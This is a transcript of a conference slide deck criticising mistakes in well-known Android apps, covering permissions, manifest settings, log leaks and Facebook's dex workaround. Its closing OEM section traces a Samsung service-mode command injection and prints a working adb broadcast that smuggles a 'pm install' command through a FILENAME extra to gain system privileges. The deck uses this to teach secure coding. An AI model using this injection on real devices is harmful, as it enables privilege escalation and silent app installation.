android app bashing- learn from the biggest fails on the google play store - 16-9

Post on 27-Dec-2015

24 Views

Category:

Documents

2 Downloads

Preview:

Click to see full reader

DESCRIPTION

Learn from the biggest fails on Google Play Store

TRANSCRIPT

ANDROID APP BASHINGLEARN FROM THE BIGGEST FAILS

Eyal LEZMY

http://eyal.fr

SLIDES http://bit.ly/andbigfails

IT ALL STARTS ON THE PLAY STORE

01

Request only what your app requires

1/3 of apps request more permissions than they need

MINIMISE PERMISSIONS

Users should prefer apps

requesting the least

permissions

You don’t need permission

Use ContentProviders

MINIMISE PERMISSIONS

Users should prefer apps

requesting the least

permissions

Permission are not required to launch another activity that has the permission

MINIMISE PERMISSIONS

Need a contact?

MINIMISE PERMISSIONS

Use the force, Luke

MINIMISE PERMISSIONS

MINIMISE PERMISSIONS

Intent intent = new Intent(Intent.ACTION_GET_CONTENT);intent.setType(Phone.CONTENT_ITEM_TYPE);startActivityForResult(intent, MY_REQUEST_CODE);

Start the contact app

Handle the result

void onActivityResult(int requestCode, int resultCode, Intent data) { if (data != null) { Uri uri = data.getData(); if (uri != null) { Cursor c = getContentResolver().query(uri, new String[] {Contacts.DISPLAY_NAME, Phone.NUMBER}, null, null, null);} }

}}

Need an UUID?

TelephonyManager.getDeviceId()Requires READ_PHONE_STATE permission

MINIMISE PERMISSIONS

NO!

Settings.Secure.ANDROID_IDReset at every wipeNot applicable on multi user environment

Need an UUID?

Generate your own UUID and use Backup API !

MINIMISE PERMISSIONS

String id = UUID.randomUUID().toString();

YES!

Android Backup API

· API is available on all Android devices. · Manufacturors can implements their own transport and storage for the API

· Each device as its own backup data

· A new device will take a backup from a device associated with your google account.

· IT'S NOT A SYNC API !

MINIMISE PERMISSIONS

MICROSOFT STORY EPISODE 102

? ? ?

LOOK AND FEEL

HOTMAIL OUTLOOK.COM

HOTMAIL OUTLOOK.COM

LOOK AND FEEL

SAME!

LOOK AND FEEL

FOLLOW THE GUIDELINES!http://d.android.com/design

Redesigned by Taylor Ling

LOOK AND FEEL

By Microsoft

LOOK AND FEEL

LOOK AND FEEL

LOOK AND FEEL

FOLLOW THE GUIDELINES!http://d.android.com/design

LOOK AND FEEL

FOLLOW THE GUIDELINES!http://d.android.com/design

PLEASE!

MICROSOFT STORY EPISODE 203

XBOX MUSIC

Emulator(last devices configuration)

Nexus 7S4

Nexus 10Note 2

Galaxy Nexus

S3Mega

Note 1XCover (Android 2.3)

Tablets

XBOX MUSIC

Our Nutshell

XBOX MUSIC

Brand New devicesS4, Mega, HTC One, Xperia Z, ...

TabletsNexus 7/10, Tab2, Tab3, Note 10.1, …

Old devicesXCover

Not compatible

Our Nutshell

XBOX MUSIC

Main stream devicesS3, Galaxy Nexus, Note2, Note1, ...

Compatible

The dark side of the force,

Luke

XBOX MUSIC

Let’s look into the

Manifest

XBOX MUSIC

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="14" />

Exclude the old devices

XBOX MUSIC

Not recommended (sept. 2013)

<compatible-screens>

<screen android:screenSize=" small" android:screenDensity=" ldpi" />

<screen android:screenSize=" small" android:screenDensity=" mdpi" />

<screen android:screenSize=" small" android:screenDensity=" hdpi" />

<screen android:screenSize=" small" android:screenDensity=" xhdpi" />

<screen android:screenSize=" normal" android:screenDensity=" ldpi" />

<screen android:screenSize=" normal" android:screenDensity=" mdpi" />

<screen android:screenSize=" normal" android:screenDensity=" hdpi" />

<screen android:screenSize=" normal" android:screenDensity=" xhdpi" />

</compatible-screens>

Excludes tablets

XBOX MUSIC

Excludes brand new devices(XXHDPI screens)

Too restrictive!

XBOX MUSIC

“You should not use this element”It can dramatically reduce the potential user base for your application

“Use it only as a last resort”When the application absolutely does not work with specific screen configurations

“Instead, follow the guide to Supporting Multiple Screens”

compatible-screens<>

XBOX MUSIC

It does not accept xxhdpi But you can instead specify 480 as the valuecompatible-screens

<>

XBOX MUSIC

Nothing seems tricky...

XBOX MUSIC

XXHDPI7.7% of Android devices

XXHDPI

XBOX MUSIC

Tablets11.2% of Android devices

XXHDPI

XBOX MUSIC

Missing targets18,9% of the market

XXHDPI

The Mistakes

XBOX MUSIC

Have they tested on new devices?

Ignoring the power usersBrand new devices are bought by power users and early adopters

Does not support preloading musicThe app is not prefectly opimized for mobility. Why ignoring nomad devices like tablets?

Return of the APK

XBOX MUSIC

A day after

XBOX MUSIC

A day after

XBOX MUSIC

They updated the app

<supports-screens

android:smallScreens="true"

android:normalScreens="true"

android:largeScreens="false"

android:xlargeScreens="false" />

XBOX MUSIC

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="18" />

<supports-screens

android:smallScreens="true"

android:normalScreens="true"

android:largeScreens="false"

android:xlargeScreens="false" />

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="18" />

XBOX MUSIC

HURRAY!!

MICROSOFT STORY EPISODE 304

MICROSOFT OFFICE

Follows the guidelines… This time

MICROSOFT OFFICE

Not that badBut it could be better

Fight the confusion

MICROSOFT OFFICE

Office 365 offer is quite confusingPeople used to buy Office licenses, not to subscribe to an Office service

They try to avoid confusion

MICROSOFT OFFICE

MICROSOFT OFFICE

The title is clear

MICROSOFT OFFICE

Is it enough explicit?

Problem

MICROSOFT OFFICE

Does not support tablet formatA productivity app has to be compatible with big screens formats

- The app is optimized for a phone - On tablet, you can use the Office Webapps- We plan to enable editing with Webapps

Microsoft’s answer on PlayStore

Other problems

MICROSOFT OFFICE

Less features than the competitorsDoes not support local filesDoes not support edition

The backend seems not very readyI have been stuck during 24 hours at the mobile activation, and I’m not alone

Conclusion

MICROSOFT OFFICE

Adapt your UI to screen sizes depending on your features

Differenciate your service from competitorsEspecially when you are new on the market

Your backend have to support your mobile distribution

One more thing!

MICROSOFT OFFICE

Check out the

Manifest

MICROSOFT OFFICE

MICROSOFT OFFICE

<uses-permission android:name="android.permission.READ_LOGS"/>

<uses-sdk android:minSdkVersion="14"

android:targetSdkVersion="16" />

They support ICS+

Read sensitive log data

MICROSOFT OFFICE

XXHDPI

Ignore READ_LOGSJelly Bean removed this feature

Accepts READ_LOGS38% of the supported devices

Don’t do this

Why scaring 100% of your users?To use a feature with 38% of them

Avoid using deprecated functionsAs much as possible

MICROSOFT OFFICE

YAHOO! WEATHER05

YAHOO WEATHER

Beautiful...

YAHOO WEATHER

Very good score

Is it perfect?

Hell no!

YAHOO WEATHER

« Try not.Do.

Or do not.There is no try. »

YAHOO WEATHER

YODA

YAHOO WEATHER

A splashscreen

YAHOO WEATHER

Non native UI

YAHOO WEATHER

Non native UI

YAHOO WEATHER

Where is my status bar?

YAHOO WEATHER

Immersive experienceGames, Books, Videos

MultitaskingEverything else

Hide status bar

Showstatus bar

When do you check the weather?

Morning?- Choosing your clothes- Eating your breakfast- Checking your emails- Looking after your kids

This is multitasking!

YAHOO WEATHER

YAHOO WEATHER

YoutubeAn immersive app

No status bar

YAHOO WEATHER

It allows multitaskingInside the app

Playing video

YAHOO WEATHER

Samsung Video Player

YAHOO WEATHER

Popup play

Samsung Video Player

About the context you

have to think

YAHOO WEATHER

FACEBOOK EPISODE 106

Under the hood

March 2013

Too much methodsLinearAlloc buffer overflow

Solution is to divide the code into several dex filesAnd load it on demand

FACEBOOK

Under the hood

March 2013

Facebook app source code was not enough modular to allow this at application level“Too many of our classes are accessed directly by the Android framework”

They had to do it at system level, thanks to reflection“We needed to inject our secondary dex files directly into the system class loader”

FACEBOOK

« More backwards compatibility for Facebook.

Another day, another private field accessed. »

FACEBOOK

GIT COMMENTANDROID SOURCE CODE

January 2013

FACEBOOK

/**

* List of dex/resource (class path) elements.

* Should be called pathElements, but the Facebook app uses reflection

* to modify 'dexElements' (http://b/7726934).

*/

private final Element[] dexElements;

Android source code - DexPathList.javaCommit January 2013

FACEBOOK

Patch set 2

lets facebook start (at least judging by logcat output)

Android code reviewJanuary 2013

After manual testing

facebook starts, though i don't have an account.

This was not enough

They finally patched Dalvik VMUsing native hot fix to change the LinearAlloc buffer size

FACEBOOK

I feel dirty

FACEBOOK

In a nutshell

Modularity saves lifes

Google seems to test some popular apps during integrationSo they don’t break the system apps

Google hires engineers when Facebook hires sculptorsInspired by Sayo Oladeji

FACEBOOK

FACEBOOK EPISODE 207

FACEBOOK HOME

A lock screen

FACEBOOK HOME

Several services supported

FACEBOOK HOME

And a launcher

FACEBOOK HOME

The problem

The launcher is too simpleNo folderNo widgetNo dock (during first months)

It used to be mandatoryLockscreen + Launcher

FACEBOOK HOME

FACEBOOK HOME

FACEBOOK HOME

FACEBOOK HOME

Opens default launcher

FACEBOOK HOME

Spot the odd one out

FACEBOOK HOME

No, actually, there is no consistency

Conclusion Keep the platform spiritTo override native OS elements you need first to implement all the basic features the user use to use

Identify your weakest pointsAnd prepare how to limit their impact

FACEBOOK HOME

08 CANAL PLUS

CANAL+ TOUCH

Request: https://canalURL.com/1.5/getThmChannel.php...

Request: https://canalURL.com/1.5/getProgramThm.php...

Request: https://canalURL.com/1.4/programRediff.php...

Request: https://canalURL.com/1.5/VOD.php?release=1...

json response : {"token":{"url":"http:\/\/download....

Request: https://canalURL.com/1.4/getChannel.php?SE...

json response: {"token":{"url":"https:\/\/canalURL....

Request: https://canalURL.com/1.5/guideTvChannel.ph...

Request: https://canalURL.com/1.5/programInfo.php?U...

Request: https://canalURL.com/1.5/myTv.php?release=...

This is the logcat

Chatty logs Make reverse engineering easierHTTPS connexionPHP backend All the URLS and parameters are knownSome of the response are known too

CANAL+ TOUCH

Chatty logs Can bring really big security breaches

CANAL+ TOUCH

https://canalURL.com/1.5/authentification.php?

login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...

CANAL+ TOUCH

This is always the logcat

https://canalURL.com/1.5/authentification.php?

login=[MY_LOGIN]&pass=[MY_CLEAR_PASSWORD]...

CANAL+ TOUCH

This is always the logcat

Wait WHAT ?!

Shut the fuck up!

Control your log outputEasy method with BuildConfig.DEBUG

Never send clear password over the networkNEVAAAAAAA!!!!

CANAL+ TOUCH

CANAL+ TOUCH

public static final boolean SHOW_LOG = BuildConfig.DEBUG;

public static void d(final String tag, final String msg) { if (SHOW_LOG) Log.d(tag, msg);}

Avoid the leak, easily

And test it during QA

OEM SOFTWARE09

The Android

framework

Many APKsImplement the features

Often have system accessTo use low level features

OEM SOFTWARE

Open bar?

OEM SOFTWARE

Let’s see

OEM SOFTWARE

Android OEM applications(in)security

Talk by ANDRE MOULUQuarkslab

OEM SOFTWARE

Methodology Reverse engineeringUsing Androguard

A custom result environmentManifest analysisCheck for sensitive API usageDiff between OS version (to find patches)

OEM SOFTWARE

The results on Samsung

devices

12 vulnerabilities foundLeak personal informationAccess non-permited featuresSilent SMS controlCode injection...

Similar vulnerabilities on many constructors

OEM SOFTWARE

Gimme more!

OEM SOFTWARE

Search forsharedUserId = systemSensitive user ID

Command executionSensitive usage

OEM SOFTWARE

Find serviceModeApp.apk= Very sensitive app !

OEM SOFTWARE

<receiver name=".FTATDumpReceiver"><intent-filter>

<action name="com.android.sec.FTAT_DUMP"></action></intent-filter>

</receiver>

<receiver name=".FTATDumpReceiver" permission="...servicemodeapp.permission.KEYSTRING">

<intent-filter><action name="com.android.sec.FAILDUMP"></action>

</intent-filter></receiver>

Receiver declared twice

<receiver name=".FTATDumpReceiver"><intent-filter>

<action name="com.android.sec.FTAT_DUMP"></action></intent-filter>

</receiver>

<receiver name=".FTATDumpReceiver" permission="...servicemodeapp.permission.KEYSTRING">

<intent-filter><action name="com.android.sec.FAILDUMP"></action>

</intent-filter></receiver>

OEM SOFTWARE

Permission asked for this action

<receiver name=".FTATDumpReceiver"><intent-filter>

<action name="com.android.sec.FTAT_DUMP"></action></intent-filter>

</receiver>

<receiver name=".FTATDumpReceiver" permission="...servicemodeapp.permission.KEYSTRING">

<intent-filter><action name="com.android.sec.FAILDUMP"></action>

</intent-filter></receiver>

OEM SOFTWARE

No permission needed for this action!!

public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

We read the FTATDumpReceiver source code

public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Intercepts the FTAT_DUMP action

public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Concats the FILENAME extra to str3

public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Other concatenations follow

public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Prepares an intent to FTATDumpService

public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Adds the final string to the intent

public void onReceive(Context paramContext, Intent paramIntent) {String str1 = paramIntent.getAction();if (str1.equals("com.android.sec.FTAT_DUMP")){

String str3 = "FTAT_" + paramIntent.getStringExtra("FILENAME");

[...]String str9 = str8 + [...]Intent localIntent2 = new Intent(paramContext,

FTATDumpService.class);localIntent2.putExtra("FILENAME", str9);paramContext.startService(localIntent2);

}[...]

}

OEM SOFTWARE

Starts the FTATDumpService with our FILENAME parameter as extra

public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}

OEM SOFTWARE

We read then the FTATDumpService source code

public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}

OEM SOFTWARE

Extracts the FILENAME extra to str

public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}

OEM SOFTWARE

Opens and starts a new thread

public int onStartCommand(Intent paramIntent, ...){ final String str = paramIntent.getStringExtra("FILENAME"); [...] new Thread(new Runnable(){ public void run(){ [...] if(FTATDumpService.this. DoShellCmd("dumpstate > /data/log/" + str + ".log")) FTATDumpService.this.mHandler.sendEmptyMessage(1015); [...] } }).start(); return 0;}

OEM SOFTWARE

Seems to “do a shell command” with our FILENAME parameter concatenated

OEM SOFTWARE

private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;} This is DoShellCmd function

OEM SOFTWARE

private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}

Creates a shell commandAnd runs it

OEM SOFTWARE

private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}

And our FILENAME parameter is still not modified

OEM SOFTWARE

private boolean DoShellCmd(String paramString){ [...] String[] arrayOfString = new String[3]; arrayOfString[0] = "/system/bin/sh"; arrayOfString[1] = "-c"; arrayOfString[2] = paramString; [...] Runtime.getRuntime().exec(arrayOfString).waitFor(); [...] return true;}

And our FILENAME parameter is still not modified

BINGO!

Access toAll permissions declared by system apps156 for this case

All files belonging to system userWifi keysPassword, PIN, gesture storage...

OEM SOFTWARE

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk; #'

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0

OEM SOFTWARE

A simple broadcast for FTAT_DUMP action

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk; #'

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0

OEM SOFTWARE

We declare the FILENAME argument

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk; #'

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0

OEM SOFTWARE

We point the destination file to null

$ adb shell am broadcast -a com.android.sec.FTAT_DUMP --es FILENAME '../../../../../dev/null;

/system/bin/pm install an.apk; #'

Broadcasting : Intent { act=com.android.sec.FTAT_DUMP (has extras) }Broadcast completed : result=0

OEM SOFTWARE

We execute our system command

Open bar!

OEM SOFTWARE

Moral of the story

It happens at application level

Look after your app’s backdoorsDon’t export local servicesUse a strict permission model

Consider every input as a threatEscape all sensitive parameters you receive

OEM SOFTWARE

The Android emulator you ever dreamedwww.genymotion.com

Thank You for your time !

http://eyal.fr

SLIDEShttp://bit.ly/andbigfails

top related